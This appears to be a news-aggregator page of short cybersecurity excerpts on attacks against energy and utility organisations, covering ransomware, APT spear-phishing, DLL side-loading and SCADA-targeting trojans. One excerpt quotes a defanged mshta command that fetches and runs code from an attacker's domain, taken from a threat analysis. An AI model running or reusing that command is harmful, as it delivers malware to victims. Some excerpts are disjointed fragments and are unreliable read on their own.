SecureWorld News

JANUARY 16, 2025

To ensure energy security and economic stability, protecting the infrastructure is essential. A report from 2023 revealed that 67% of energy and utility companies faced ransomware attacks, with many incidents exploiting unpatched vulnerabilities. This significantly reduces the risk of unauthorized access.

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Energy and Utilities IoT Artificial Intelligence Backups 109

SecureList

MARCH 10, 2025

Moreover, we observed other attacks that indicated a specific interest in nuclear power plants and nuclear energy in South Asia and further expansion of activities into new countries, especially in Africa. Infection flow The attacker sends spear-phishing emails with a DOCX file attached. mshta.exe hxxps://dgtk.depo-govpk[.]com/19263687/trui

Energy and Utilities 112

Energy and Utilities Malware Government Phishing 112

Security Affairs

OCTOBER 4, 2021

ChamelGang APT is a new cyberespionage group that focuses on fuel and energy organizations and aviation industry in Russia. ChamelGang is a new APT group that was first spotted in March by researchers at security firm Positive Technologies, it targets Russian companies in the energy and aviation industry. ” concludes the report.

Energy and Utilities 123

Energy and Utilities Malware Technology Antivirus 123

SecureList

NOVEMBER 22, 2022

Decreasing CTI quality – unfounded politically motivated cyberthreat attribution, exaggerated threats, lower statement validity criteria due to political pressure and in an attempt to utilize the government’s political narrative to earn additional profits.

Energy and Utilities 130

Energy and Utilities Marketing Government Phishing 130

SecureList

NOVEMBER 26, 2021

The attackers obtain initial access to a system by sending a spear-phishing email to the victim containing a Dropbox download link. That library was then loaded by the legitimate MsMpEng.exe by utilizing the DLL side-loading technique. The link leads to a RAR archive that masquerades as a Word document. cents per record).

Malware 133

Malware Banking Energy and Utilities Accountability 133

Security Boulevard

APRIL 28, 2021

This renders the attacks undetectable and able to bypass conventional security solutions such as EDR, antivirus and other traditional security lines of defense. A few years ago, a group of attackers used the Trojan to deploy SCADA-related plugins against victims in energy and ICS/SCADA networks in Ukraine and around the world.

Energy and Utilities 72

Energy and Utilities Malware DDOS Internet 72

Centraleyes

JULY 15, 2024

Cybersecurity measures were developed, including firewalls, encryption, and antivirus software. The Nuclear Age The development of nuclear technology in the mid-20th century brought both tremendous energy potential and existential risks. Public awareness campaigns educated users about safe online practices.

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